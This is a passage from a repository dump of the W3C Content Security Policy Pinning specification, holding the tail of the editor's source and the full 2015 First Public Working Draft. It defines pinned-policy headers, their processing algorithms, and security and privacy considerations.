  1. The protected host: a hostname to which the policy applies (e.g. example.com)
  2. subdomains included: true if includeSubDomains is asserted, false otherwise.
  3. The policy expiration date: the moment at which a pinned policy is no longer applicable
  4. The policy directive set: a set of Content Security Policy directives [[!CSP]] that the user agent MUST apply, according to its mode, for each {{Document}} and {{Worker}} served from protected host, (and, potentially, its subdomains) that does not provide its own policy.
  5. mode: monitor if the policy directive set is to be monitored, enforce if the policy directive set is to be enforced.
The Augmented Backus-Naur Form (ABNF) notation used in [[#policy-delivery]] is specified in RFC5234. [[!ABNF]]

Pinned Policy Delivery

A server MAY instruct a user agent to pin a single security policy by sending either a Content-Security-Policy-Pin or Content-Security-Policy-Report-Only-Pin HTTP response header field along with a resource. [[#policy-processing]] defines the user agent's behavior when it receives such a response. Once a policy is pinned, it will be either enforced or monitored as specified for any resource that doesn't enforce or monitor its own policy. Note: Pinned policies are delivered only via HTTP header fields; no meta element delivery mechanism is defined. Moreover, pinned policies override policies delivered via meta elements. See [[#pins-override-meta]] for authoring guidelines.

Content-Security-Policy-Pin Header Field

The Content-Security-Policy-Pin header field is the mechanism for delivering a pinned policy that the user agent MUST enforce for any resource which is not delivered with a Content-Security-Policy header (as described in the [[#apply-pinned-policy]] algorithm). The ABNF grammar is as follows:
      "Content-Security-Policy-Pin:" 1#<policy-token production from CSP, Section 4.1>
    
Pinning a security policy is a somewhat dangerous operation, and requires some reasonable expectation that the pinning is in fact desired by a particular origin's owner. To that end, a server MUST NOT send a Content-Security-Policy-Pin header with a resource delivered from an a priori insecure URL. The threat is discussed in more detail in [[#hostile-pinning]]. Note: This means that pinning is only practically available over HTTPS. This is intentional, as pinning is a powerful feature that ought to be limited to secure contexts [[SECURE-CONTEXTS]]. A server MUST NOT send more than one HTTP header field named Content-Security-Policy-Pin with a given resource representation. A server SHOULD send a Content-Security-Policy-Pin with every resource representation in order to ensure that pinning takes place for a given user agent no matter how it accesses a site. The value of the header SHOULD be the same for every resource representation, as the goal is to enforce a consistent baseline policy for an entire set of hosts.

Content-Security-Policy-Report-Only-Pin Header Field

The Content-Security-Policy-Report-Only-Pin header field is the mechanism for delivering a pinned policy that the user agent MUST monitor for any resource which is not delivered with a Content-Security-Policy-Report-Only header (as described in the [[#apply-pinned-policy]] algorithm). The ABNF grammar is as follows:
      "Content-Security-Policy-Report-Only-Pin:" 1#<policy-token production from CSP, Section 4.1>
    
As with Content-Security-Policy-Pin, a server MUST NOT send a Content-Security-Policy-Report-Only-Pin header with a resource delivered from an a priori insecure URL. The threat is discussed in more detail in [[#hostile-pinning]]. Note: This means that pin-reporting is only practically available over HTTPS. This is intentional, as pinning is a powerful feature that ought to be limited to secure contexts [[SECURE-CONTEXTS]]. A server MUST NOT send more than one HTTP header field named Content-Security-Policy-Report-Only-Pin with a given resource representation. A server SHOULD send a Content-Security-Policy-Report-Only-Pin with every resource representation in order to ensure that pinning takes place for a given user agent no matter how they access a site. The value of the header SHOULD be the same for every resource representation, as the goal is to monitor a consistent baseline policy for an entire set of hosts. ISSUE: What's the impact of reporting? If headers can be injected into appspot.com or newyorktimes.com, can attackers use reporting to determine what apps you're using, or what articles you're reading? Brian has explored this space a bit. Perhaps dropping reporting from pinned policies would be reasonable. The main use-case I see would be discovering pieces of your site that you haven't covered with a policy (e.g. where did the pin decrease attack surface?). It's not clear we can even do that without the implications Brian suggests.

Pinned Policy Syntax

The grammar for a pinned policy is the same as the grammar for the Content-Security-Policy header, defined in Section 4.1 of the Content Security Policy specification. A pinned policy's value MUST contain a max-age directive, and MAY contain an includeSubDomains directive.

The max-age directive

The max-age directive specifies the number of seconds after the reception of the Content-Security-Policy-Pin HTTP response header field during which the UA SHOULD enforce the pinned policy. The directive is defined via the following ABNF grammar:
        directive-name  = "max-age"
        directive-value = 1*DIGIT
      
The max-age directive MUST be present within the Content-Security-Policy-Pin header field. If it is not present, the header field will be ignored (see [[#policy-processing]] for user agent requirements).

The includeSubDomains directive

The includeSubDomains directive signals to the user agent that the pinned policy defined in the Content-Security-Policy-Pin header field applies not only to the origin that served the resource representation, but also to any origin whose host component is a subdomain of the host component of the resource representation's origin (see [[#policy-processing]] for user agent requirements).

Pinned Policy Processing

The user agent discovers and processes pinned policies during fetching. Upon receiving a response, the user agent will: 1. Sift through the HTTP headers according to the [[#discover-pinned-policy]] algorithm to determine if the pinned policy cache for the response's host needs to be updated. 2. Update the pinned policy cache, according to the [[#pin-policy]] algorithm. 3. Update the response's headers to ensure that any relevant pinned policies are applied, according to the [[#apply-pinned-policy]] algorithm. ISSUE: We probably need a hook in [[Fetch]]. In particular, we need to ensure that we detect and pin a policy early enough for frame-ancestors and referrer to handle blocking and redirects. Periodically, the user agent will run through the pinned policies it has stored in the pinned policy cache, and remove those that have expired, according to the [[#expire-pinned-policies]] algorithm.

Fetching Algorithms

Discover pinned policies for response

Upon receiving a {{Response}} response containing at least one Content-Security-Policy-Pin header field, the user agent MUST peform the following steps:
  1. Let origin be the origin of response's URL.
  2. Let value be the result of parsing Content-Security-Policy-Pin in response's header list.
  3. If value is not null, then execute the [[#pin-policy]] algorithm, passing in value, the origin of response's URL, and enforce.
  4. Let value be the result of parsing Content-Security-Policy-Report-Only-Pin in response's header list.
  5. If value is not null, then execute the [[#pin-policy]] algorithm, passing in value, the origin of response's URL, and monitor.

Pin policy for origin in mode

Given an Origin origin, a parsed set of directives policy, and a mode (either enforce or monitor), this algorithm defines the user agent behavior that results in a pinned policy for origin.
  1. If origin is an a priori insecure origin, output a developer-friendly warning, and abort these steps.
  2. Let host be the host component of origin.
  3. If host is an IPv4 or IPv6 address, output a developer-friendly warning, and abort these steps.
  4. Let policy be the result of executing the parse the policy algorithm on directives.
  5. If policy does not contain a max-age directive, then output a developer-friendly warning, and abort these steps.
  6. Let subdomains be true if an includeSubDomains is present in policy, and false otherwise.
  7. Let TTL be the number of seconds specified in policy's max-age directive. If more than one such directive is present, let TTL be the largest value specified.
  8. Let expiration be the current time, plus TTL.
  9. Remove any max-age and includeSubDomains directives from policy.
  10. Let pinned be the result of executing [[#pinned-policy-for-host]] for mode and host.
  11. If pinned is not null, then update the pinned policy pinned as follows:
    1. If max-age is 0, then remove pinned from the pinned policy cache and abort these steps.
    2. Otherwise:
      1. Set pinned's policy expiration date to expiration.
      2. Set pinned's subdomains included to subdomains.
      3. Set pinned's policy directive set to policy.
  12. Otherwise, host is not a protected host. If TTL is not 0, then:
    1. Let pinned be a new pinned policy.
    2. Set pinned's protected host to host.
    3. Set pinned's policy expiration date to expiration.
    4. Set pinned's subdomains included to subdomains.
    5. Set pinned's policy directive set to policy.
    6. Set pinned's mode to mode.
    7. Add pinned to the pinned policy cache.

Pin a policy to response

Upon receiving a {{Response}} response, ensure that it contains appropriate Content-Security-Policy headers by performing the following steps:
  1. Let host be the host component of response's URL's origin.
  2. Let pinned be the result of executing [[#pinned-policy-for-host]] for enforce and host.
  3. If pinned is not null:
    1. Let value be the result of parsing Content-Security-Policy in response's header list.
    2. If value is null:
      1. Append a header named Content-Security-Policy with a value of pinned's policy directive set to response's header list.
  4. Let pinned be the result of executing [[#pinned-policy-for-host]] for monitor and host.
  5. If pinned is not null:
    1. Let value be the result of parsing Content-Security-Policy-Report-Only in response's header list.
    2. If value is null:
      1. Append a header named Content-Security-Policy-Report-Only with a value of pinned's policy directive set to response's header list.

Pinned Policy Cache Algorithms

Get the mode pinned policy for host

Given a host, and a mode mode, this algorithm walks through the pinned policy cache, and returns the first matching policy. If no policies match, this algorithm returns null. Note: There ought to be at most one policy that matches, given the constraints in [[#pin-policy]].
  1. For each policy in the pinned policy cache:
    1. If policy's mode is not mode, skip to the next policy in the pinned policy cache.
    2. Let match type be the result of applying the Known HSTS Host domain name matching algorithm specified in [[!RFC6797]] to host and policy's protected host.
    3. If match type is Superdomain Match, and policy's subdomains included is true, then return policy.
    4. If match type is Congruent Match, then return policy.
  2. Return null.

Remove expired pinned policies from the cache

Periodically, the user agent MUST remove expired policies from the pinned policy cache. Removal will have no web-visible effect, as expired policies will not modify {{Response}}s during fetching, but expired policies can have privacy impact if they aren't removed completely (as they offer evidence that a particular user visited a particular host at some point in the past). Expired entries can be removed via the following steps:
  1. For each policy in the list of pinned policies contained in the pinned policy cache:
    1. If policy's policy expiration date is prior to the current time, remove policy from the pinned policy cache.

Security Considerations

Hostile Pinning

An active network attacker who is able to inject headers into a site's responses may attempt to maliciously pin a security policy for a host and its subdomains. Pinning default-src 'none' on a page that wasn't built to work under such restrictions could deny service for an entire application. Unlike public key pinning [[PKP]], however, pinning a security policy cannot completely deny access to a site. This means that maliciously (or accidentally) pinned policies can be easily overridden in two ways:
  1. Authors SHOULD send a valid security policy down with each HTTP response, and use the pin only as a backup (see [[#pins-as-defaults]]). Note: A future version of this specification may add a directive which prevents overriding the pinned policy (no-override?). This would allow authors to choose a stricter deployment model, but would remove this override possibility.
  2. Authors may also rescind a pinned policy by sending a new Content-Security-Policy-Pin header with a max-age of 0.
Moreover, the risk of malicious injection is mitigated by the fact that we only accept pins over secure and authenticated connections.

Privacy Considerations

Fingerprinting

Similar to HSTS and HPKP, a pinned security policy could be used as a "supercookie", setting a distinct policy for each user which can be used as an identifier in combination with (or instead of) HTTP cookies. For example, the report-uri directive could contain a unique identifier (report-uri https://example.com/endpoint?id=123) which could identify a user based on correlating violation reports with user activity. To mitigate this risk, user agents MUST:
  1. Clear the pinned policy cache when the user clears her browsing data (cookies, site data, history, etc).
  2. Refuse to process Set-Cookie response headers during the send violation reports algorithm.
ISSUE: Can we assume that subdomains are really owned by the owner of the root domain?

Authoring Considerations

Pins as a default

ISSUE: Explain something about the theory; pins act as a baseline for resources that don't otherwise have a policy. Explain layering, granularity, etc.

Pins override <meta>

Pinned policies are applied before meta elements can be discovered. This means that a resource delivered without a header that specified a security policy will be subject to the policy pinned for its host, even if it then delivers a policy via the mechanisms described in the HTML <meta> element section of [[CSP]].

IANA Considerations

The permanent message header field registry should be updated with the following registrations: [[!RFC3864]]

Content-Security-Policy-Pin

Header field name
Content-Security-Policy-Pin
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See Content-Security-Policy-Pin Header Field)

Content-Security-Policy-Report-Only-Pin

Header field name
Content-Security-Policy-Report-Only-Pin
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See Content-Security-Policy-Report-Only-Pin Header Field)

Acknowledgements

Yan Zhu kicked my butt to get this document out the door. I stole concepts wholesale from both HSTS and PKP.
================================================ FILE: pinning/published/2015-02-FPWD.html ================================================ Content Security Policy Pinning

Content Security Policy Pinning

W3C First Public Working Draft,

This version:
http://www.w3.org/TR/2015/WD-csp-pinning-20150226/
Latest version:
http://www.w3.org/TR/csp-pinning/
Editor's Draft:
https://w3c.github.io/webappsec/specs/csp-pinning/
Feedback:
public-webappsec@w3.org with subject line “[csp-pinning] … message topic …” (archives)
Issue Tracking:
Inline In Spec
Editor:
(Google Inc.)

Abstract

This document defines a new HTTP header that allows authors to instruct user agents to remember ("pin") and enforce a Content Security Policy for a set of hosts for a period of time.

Status of this document

This section describes the status of this document at the time of its publication. Other documents may supersede this document. A list of current W3C publications and the latest revision of this technical report can be found in the W3C technical reports index at http://www.w3.org/TR/.

This document was published by the Web Application Security Working Group as a Working Draft. This document is intended to become a W3C Recommendation.

The (archived) public mailing list public-webappsec@w3.org (see instructions) is preferred for discussion of this specification. When sending e-mail, please put the text “csp-pinning” in the subject, preferably like this: “[csp-pinning] …summary of comment…

This document is a First Public Working Draft.

Publication as a First Public Working Draft does not imply endorsement by the W3C Membership. This is a draft document and may be updated, replaced or obsoleted by other documents at any time. It is inappropriate to cite this document as other than work in progress.

This document was produced by the Web Application Security Working Group.

This document was produced by a group operating under the 5 February 2004 W3C Patent Policy. W3C maintains a public list of any patent disclosures made in connection with the deliverables of the group; that page also includes instructions for disclosing a patent. An individual who has actual knowledge of a patent which the individual believes contains Essential Claim(s) must disclose the information in accordance with section 6 of the W3C Patent Policy.

This document is governed by the 1 August 2014 W3C Process Document.

Table of Contents

1. Introduction

This section is not normative.

Content Security Policy [CSP] defines a mechanism through which authors can manipulate the security properties of a given resource, providing the ability to mitigate the risk of a broad class of content-injection attacks. CSP, however, can only protect pages for which it is explicitly defined, which means that authors need to ensure that they’re delivering a reasonable policy for every page on their origin in order to have confidence that a particular set of restrictions will be consistently applied.

For example, it’s often the case that generic error-handling pages are constructed differently than "real" application pages. They’re easy to forget when auditing the security headers set for an origin, and can offer attackers a foot in the door if they contain injection vectors.

CSP Pinning attempts to address this concern by allowing authors to "pin" a baseline policy to an application’s host. Conceptually, this is quite similar to the approach taken by Strict Transport Security [RFC6797] and Public Key Pinning [PKP]: we define a new header, Content-Security-Policy-Pin which instructs a user agent to remember a baseline policy that will be enforced for any document and worker delivered by an application that doesn’t come with its own Content-Security-Policy header.

1.1. Use Cases

example.com has a number of applications running on the same origin; each has a specific set of resources it needs to load, so a single Content Security Policy would become unwieldy for the whole set of resources. Moreover, the admins aren’t exactly sure they have a clear understanding of all the applications running on subdomains; the marketing department went a bit wild with branded partnerships a year or two back.

After doing an audit of existing code, they have a good feel for the needs of individual applications, and give each a suitable policy. They decide to err on the side of caution, and pin a restrictive policy for pages they didn’t catch:

https://example.com/application1/ delivers the following HTTP response headers:
Content-Security-Policy-Pin: max-age: 10886400;
                             includeSubDomains;
                             default-src https:;
                             form-action 'none';
                             frame-ancestors 'none';
                             referrer no-referrer;
                             report-uri /csp-endpoint/pinned
Content-Security-Policy: script-src https://application1.cdn.com;
                         style-src https://application1.cdn.com;
                         connect-src 'self';
                         form-action 'self'

While https://example.com/application2/ delivers the following HTTP response headers:

Content-Security-Policy-Pin: max-age: 10886400;
                             includeSubDomains;
                             default-src https:;
                             form-action 'none';
                             frame-ancestors 'none';
                             referrer no-referrer;
                             report-uri /csp-endpoint/pinned
Content-Security-Policy: script-src https://application2.cdn.com;
                         style-src https://application2.cdn.com;

Meanwhile, they’ve forgotten about the coincidentally well-named https://forgotten-partnership.example.com/. It doesn’t send any CSP headers at all, and yet, it is still protected by the pinned policy for any users who have visited either Application 1 or Application 2.

2. Key Concepts and Terminology

2.1. Terms defined by this specification

pinned security policy
A security policy that is enforced for resources delivered from a protected host without their own policy. The pinned policy’s properties are defined in §3 Pinned Policy Delivery.
pinned policy cache
In order to persistently enforce policy for an origin, the user agent caches the following details about each pinned policy:
  1. The protected host: a hostname to which the policy applies (e.g. example.com)
  2. subdomains included: true if includeSubDomains is asserted, false otherwise.
  3. The policy expiration date: the moment at which a pinned policy is no longer applicable
  4. The policy directive set: a set of Content Security Policy directives [CSP] that the user agent MUST apply, according to its mode, for each Document and Worker served from protected host, (and, potentially, its subdomains) that does not provide its own policy.
  5. mode: monitor if the policy directive set is to be monitored, enforce if the policy directive set is to be enforced.

The Augmented Backus-Naur Form (ABNF) notation used in §3 Pinned Policy Delivery is specified in RFC5234. [ABNF]

3. Pinned Policy Delivery

A server MAY instruct a user agent to pin a single security policy by sending either a Content-Security-Policy-Pin or Content-Security-Policy-Report-Only-Pin HTTP response header field along with a resource. §4 Pinned Policy Processing defines the user agent’s behavior when it receives such a response.

Once a policy is pinned, it will be either enforced or monitored as specified for any resource that doesn’t enforce or monitor its own policy.

Note: Pinned policies are delivered only via HTTP header fields; no meta element delivery mechanism is defined. Moreover, pinned policies override policies delivered via meta elements. See §7.2 Pins override <meta> for authoring guidelines.

3.1. Content-Security-Policy-Pin Header Field

The Content-Security-Policy-Pin header field is the mechanism for delivering a pinned policy that the user agent MUST enforce for any resource which is not delivered with a Content-Security-Policy header (as described in the §4.1.3 Pin a policy to response algorithm.

The ABNF grammar is as follows:

"Content-Security-Policy-Pin:" 1#<policy-token production from CSP, Section 4.1>

Pinning a security policy is a somewhat dangerous operation, and requires some reasonable expectation that the pinning is in fact desired by a particular origin’s owner. To that end, a server MUST NOT send a Content-Security-Policy-Pin header with a resource delivered from an a priori insecure URL. The threat is discussed in more detail in §5.1 Hostile Pinning.

Note: This means that pinning is only practically available over HTTPS. This is intentional, as pinning is a "powerful feature" [POWER].

A server MUST NOT send more than one HTTP header field named Content-Security-Policy-Pin with a given resource representation.

A server SHOULD send a Content-Security-Policy-Pin with every resource representation in order to ensure that pinning takes place for a given user agent no matter how it accesses a site. The value of the header SHOULD be the same for every resource representation, as the goal is to enforce a consistent baseline policy for an entire set of hosts.

3.2. Content-Security-Policy-Report-Only-Pin Header Field

The Content-Security-Policy-Report-Only-Pin header field is the mechanism for delivering a pinned policy that the user agent MUST monitor for any resource which is not delivered with a Content-Security-Policy-Report-Only header (as described in the §4.1.3 Pin a policy to response algorithm).

The ABNF grammar is as follows:

"Content-Security-Policy-Report-Only-Pin:" 1#<policy-token production from CSP, Section 4.1>

As with Content-Security-Policy-Pin, a server MUST NOT send a Content-Security-Policy-Report-Only-Pin header with a resource delivered from an a priori insecure URL. The threat is discussed in more detail in §5.1 Hostile Pinning.

Note: This means that pin-reporting is only practically available over HTTPS. This is intentional, as pinning is a "powerful feature" [POWER].

A server MUST NOT send more than one HTTP header field named Content-Security-Policy-Report-Only-Pin with a given resource representation.

A server SHOULD send a Content-Security-Policy-Report-Only-Pin with every resource representation in order to ensure that pinning takes place for a given user agent no matter how they access a site. The value of the header SHOULD be the same for every resource representation, as the goal is to monitor a consistent baseline policy for an entire set of hosts.

What’s the impact of reporting? If headers can be injected into appspot.com or newyorktimes.com, can attackers use reporting to determine what apps you’re using, or what articles you’re reading? Brian has explored this space a bit. Perhaps dropping reporting from pinned policies would be reasonable. The main use-case I see would be discovering pieces of your site that you haven’t covered with a policy (e.g. where did the pin decrease attack surface?). It’s not clear we can even do that without the implications Brian suggests.

3.3. Pinned Policy Syntax

The grammar for a pinned policy is the same as the grammar for the Content-Security-Policy header, defined in Section 4.1 of the Content Security Policy specification.

A pinned policy’s value MUST contain a max-age directive, and MAY contain an includeSubDomains directive.

3.3.1. The max-age directive

The max-age directive specifies the number of seconds after the reception of the Content-Security-Policy-Pin HTTP response header field during which the UA SHOULD enforce the pinned policy.

The directive is defined via the following ABNF grammar:

directive-name  = "max-age"
directive-value = 1*DIGIT

The max-age directive MUST be present within the Content-Security-Policy-Pin header field. If it is not present, the header field will be ignored (see §4 Pinned Policy Processing for user agent requirements).

3.3.2. The includeSubDomains directive

The includeSubDomains directive signals to the user agent that the pinned policy defined in the Content-Security-Policy-Pin header field applies not only to the origin that served the resource representation, but also to any origin whose host component is a subdomain of the host component of the resource representation’s origin (see §4 Pinned Policy Processing for user agent requirements).

4. Pinned Policy Processing

The user agent discovers and processes pinned policies during fetching. Upon receiving a response, the user agent will:

  1. Sift through the HTTP headers according to the §4.1.1 Discover pinned policies for response algorithm to determine if the pinned policy cache for the response’s host needs to be updated.

  2. Update the pinned policy cache, according to the §4.1.2 Pin policy for origin in mode algorithm.

  3. Update the response’s headers to ensure that any relevant pinned policies are applied, according to the §4.1.3 Pin a policy to response algorithm.

We probably need a hook in [Fetch]. In particular, we need to ensure that we detect and pin a policy early enough for frame-ancestors and referrer to handle blocking and redirects.

Periodically, the user agent will run through the pinned policies it has stored in the pinned policy cache, and remove those that have expired, according to the §4.2.2 Remove expired pinned policies from the cache algorithm.

4.1. Fetching Algorithms

4.1.1. Discover pinned policies for response

Upon receiving a Response response containing at least one Content-Security-Policy-Pin header field, the user agent MUST peform the following steps:

  1. Let origin be the origin of response’s URL.
  2. Let value be the result of parsing Content-Security-Policy-Pin in response’s header list.
  3. If value is not null, then execute the §4.1.2 Pin policy for origin in mode algorithm, passing in value, the origin of response’s URL, and enforce.
  4. Let value be the result of parsing Content-Security-Policy-Report-Only-Pin in response’s header list.
  5. If value is not null, then execute the §4.1.2 Pin policy for origin in mode algorithm, passing in value, the origin of response’s URL, and monitor.

4.1.2. Pin policy for origin in mode

Given an Origin origin, a parsed set of directives policy, and a mode (either enforce or monitor), this algorithm defines the user agent behavior that results in a pinned policy for origin.

  1. If origin is an a priori insecure origin, output a developer-friendly warning, and abort these steps.
  2. Let host be the host component of origin.
  3. If host is an IPv4 or IPv6 address, output a developer-friendly warning, and abort these steps.
  4. Let policy be the result of executing the parse the policy algorithm on directives.
  5. If policy does not contain a max-age directive, then output a developer-friendly warning, and abort these steps.
  6. Let subdomains be true if an includeSubDomains is present in policy, and false otherwise.
  7. Let TTL be the number of seconds specified in policy’s max-age directive. If more than one such directive is present, let TTL be the largest value specified.
  8. Let expiration be the current time, plus TTL.
  9. Remove any max-age and includeSubDomains directives from policy.
  10. Let pinned be the result of executing §4.2.1 Get the mode pinned policy for host for mode and host.
  11. If pinned is not null, then update the pinned policy pinned as follows:
    1. If max-age is 0, then remove pinned from the pinned policy cache and abort these steps.
    2. Otherwise:
      1. Set pinned’s policy expiration date to expiration.
      2. Set pinned’s subdomains included to subdomains.
      3. Set pinned’s policy directive set to policy.
  12. Otherwise, host is not a protected host. If TTL is not 0, then:
    1. Let pinned be a new pinned policy.
    2. Set pinned’s protected host to host.
    3. Set pinned’s policy expiration date to expiration.
    4. Set pinned’s subdomains included to subdomains.
    5. Set pinned’s policy directive set to policy.
    6. Set pinned’s mode to mode.
    7. Add pinned to the pinned policy cache.

4.1.3. Pin a policy to response

Upon receiving a Response response, ensure that it contains appropriate Content-Security-Policy headers by performing the following steps:

  1. Let host be the host component of response’s URL’s origin.
  2. Let pinned be the result of executing §4.2.1 Get the mode pinned policy for host for enforce and host.
  3. If pinned is not null:
    1. Let value be the result of parsing Content-Security-Policy in response’s header list.
    2. If value is null:
      1. Append a header named Content-Security-Policy with a value of pinned’s policy directive set to response’s header list.
  4. Let pinned be the result of executing §4.2.1 Get the mode pinned policy for host for monitor and host.
  5. If pinned is not null:
    1. Let value be the result of parsing Content-Security-Policy-Report-Only in response’s header list.
    2. If value is null:
      1. Append a header named Content-Security-Policy-Report-Only with a value of pinned’s policy directive set to response’s header list.

4.2. Pinned Policy Cache Algorithms

4.2.1. Get the mode pinned policy for host

Given a host, and a mode mode, this algorithm walks through the pinned policy cache, and returns the first matching policy. If no policies match, this algorithm returns null.

Note: There ought to be at most one policy that matches, given the constraints in §4.1.2 Pin policy for origin in mode .

  1. For each policy in the pinned policy cache:
    1. If policy’s mode is not mode, skip to the next policy in the pinned policy cache.
    2. Let match type be the result of applying the Known HSTS Host domain name matching algorithm specified in [RFC6797] to host and policy’s protected host.
    3. If match type is Superdomain Match, and policy’s subdomains included is true, then return policy.
    4. If match type is Congruent Match, then return policy.
  2. Return null.

4.2.2. Remove expired pinned policies from the cache

Periodically, the user agent MUST remove expired policies from the pinned policy cache. Removal will have no web-visible effect, as expired policies will not modify Responses during fetching, but expired policies can have privacy impact if they aren’t removed completely (as they offer evidence that a particular user visited a particular host at some point in the past).

Expired entries can be removed via the following steps:

  1. For each policy in the list of pinned policies contained in the pinned policy cache:
    1. If policy’s policy expiration date is prior to the current time, remove policy from the pinned policy cache.

5. Security Considerations

5.1. Hostile Pinning

An active network attacker who is able to inject headers into a site’s responses may attempt to maliciously pin a security policy for a host and its subdomains. Pinning default-src 'none' on a page that wasn’t built to work under such restrictions could deny service for an entire application.

Unlike public key pinning [PKP], however, pinning a security policy cannot completely deny access to a site. This means that maliciously (or accidentally) pinned policies can be easily overridden in two ways:

  1. Authors SHOULD send a valid security policy down with each HTTP response, and use the pin only as a backup (see §7.1 Pins as a default).

    Note: A future version of this specification may add a directive which prevents overriding the pinned policy (no-override?). This would allow authors to choose a stricter deployment model, but would remove this override possibility.

  2. Authors may also rescind a pinned policy by sending a new Content-Security-Policy-Pin header with a max-age of 0.

Moreover, the risk of malicious injection is mitigated by the fact that we only accept pins over secure and authenticated connections.

6. Privacy Considerations

6.1. Fingerprinting

Similar to HSTS and HPKP, a pinned security policy could be used as a "supercookie", setting a distinct policy for each user which can be used as an identifier in combination with (or instead of) HTTP cookies.

For example, the report-uri directive could contain a unique identifier (report-uri https://example.com/endpoint?id=123) which could identify a user based on correlating violation reports with user activity.

To mitigate this risk, user agents MUST:

  1. Clear the pinned policy cache when the user clears her browsing data (cookies, site data, history, etc).
  2. Refuse to process Set-Cookie response headers during the send violation reports algorithm.

Can we assume that subdomains are really owned by the owner of the root domain?

7. Authoring Considerations

7.1. Pins as a default

Explain something about the theory; pins act as a baseline for resources that don’t otherwise have a policy. Explain layering, granularity, etc.

7.2. Pins override <meta>

Pinned policies are applied before meta elements can be discovered. This means that a resource delivered without a header that specified a security policy will be subject to the policy pinned for its host, even if it then delivers a policy via the mechanisms described in the HTML <meta> element section of [CSP].

8. IANA Considerations

The permanent message header field registry should be updated with the following registrations: [RFC3864]

8.1. Content-Security-Policy-Pin

Header field name
Content-Security-Policy-Pin
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See Content-Security-Policy-Pin Header Field)

8.2. Content-Security-Policy-Report-Only-Pin

Header field name
Content-Security-Policy-Report-Only-Pin
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See Content-Security-Policy-Report-Only-Pin Header Field)

9. Acknowledgements

Yan Zhu kicked my butt to get this document out the door. I stole concepts wholesale from both HSTS and PKP.

Conformance

Document conventions

Conformance requirements are expressed with a combination of descriptive assertions and RFC 2119 terminology. The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in the normative parts of this document are to be interpreted as described in RFC 2119. However, for readability, these words do not appear in all uppercase letters in this specification.

All of the text of this specification is normative except sections explicitly marked as non-normative, examples, and notes. [RFC2119]

Examples in this specification are introduced with the words "for example" or are set apart from the normative text with class="example", like this:

This is an example of an informative example.

Informative notes begin with the word "Note" and are set apart from the normative text with class="note", like this:

Note, this is an informative note.

Conformant Algorithms

Requirements phrased in the imperative as part of algorithms (such as "strip any leading space characters" or "return false and abort these steps") are to be interpreted with the meaning of the key word ("must", "should", "may", etc) used in introducing the algorithm.

Conformance requirements phrased as algorithms or specific steps can be implemented in any manner, so long as the end result is equivalent. In particular, the algorithms defined in this specification are intended to be easy to understand and are not intended to be performant. Implementers are encouraged to optimize.

Conformance Classes

A conformant user agent must implement all the requirements listed in this specification that are applicable to user agents.

A conformant server must implement all the requirements listed in this specification that are applicable to servers.

Index

Terms defined by this specification

Terms defined by reference

References

Normative References

[ABNF]
Dave Crocker; Paul Overell. Augmented BNF for Syntax Specifications: ABNF. RFC. URL: http://www.ietf.org/rfc/rfc5234.txt
[CSP]
Mike West; Dan Veditz. Content Security Policy. WD. URL: https://w3c.github.io/webappsec/specs/content-security-policy/
[FETCH]
Anne van Kesteren. Fetch. Living Standard. URL: https://fetch.spec.whatwg.org/
[MIX]
Mike West. Mixed Content. ED. URL: https://w3c.github.io/webappsec/specs/mixedcontent/
[RFC3864]
Graham Klyne; Mark Nottingham; Jeffrey C. Mogul. Registration Procedures for Message Header Fields. RFC. URL: http://www.ietf.org/rfc/rfc3864.txt
[RFC6454]
Adam Barth. The Web Origin Concept. RFC. URL: http://www.ietf.org/rfc/rfc6454.txt
[RFC6797]
Jeff Hodges; Collin Jackson; Adam Barth. HTTP Strict Transport Security (HSTS). RFC. URL: http://www.ietf.org/rfc/rfc6797.txt
[RFC7231]
Roy T. Fielding; Julian F. Reschke. HTTP/1.1 Semantics and Content. RFC. URL: http://www.ietf.org/rfc/rfc7231.txt
[URL]
Anne van Kesteren. URL. Living Standard. URL: https://url.spec.whatwg.org/
[dom]
Anne van Kesteren; et al. W3C DOM4. 10 July 2014. LCWD. URL: http://www.w3.org/TR/dom/
[html5]
Robin Berjon; et al. HTML5. 28 October 2014. REC. URL: http://www.w3.org/TR/html5/
[rfc2119]
S. Bradner. Key words for use in RFCs to Indicate Requirement Levels. March 1997. Best Current Practice. URL: http://www.ietf.org/rfc/rfc2119.txt
[workers]
Ian Hickson. Web Workers. 1 May 2012. CR. URL: http://www.w3.org/TR/workers/

Informative References

[PKP]
Chris Evans; Chris Palmer; Ryan Sleevi. Public Key Pinning Extension for HTTP. Draft. URL: https://tools.ietf.org/html/draft-ietf-websec-key-pinning
[POWER]
Mike West. Requirements for Powerful Features. ED. URL: https://w3c.github.io/webappsec/specs/powerfulfeatures/

Issues Index

What’s the impact of reporting? If headers can be injected into appspot.com or newyorktimes.com, can attackers use reporting to determine what apps you’re using, or what articles you’re reading? Brian has explored this space a bit. Perhaps dropping reporting from pinned policies would be reasonable. The main use-case I see would be discovering pieces of your site that you haven’t covered with a policy (e.g. where did the pin decrease attack surface?). It’s not clear we can even do that without the implications Brian suggests.
We probably need a hook in [Fetch]. In particular, we need to ensure that we detect and pin a policy early enough for frame-ancestors and referrer to handle blocking and redirects.
Can we assume that subdomains are really owned by the owner of the root domain?
Explain something about the theory; pins act as a baseline for resources that don’t otherwise have a policy. Explain layering, granularity, etc.
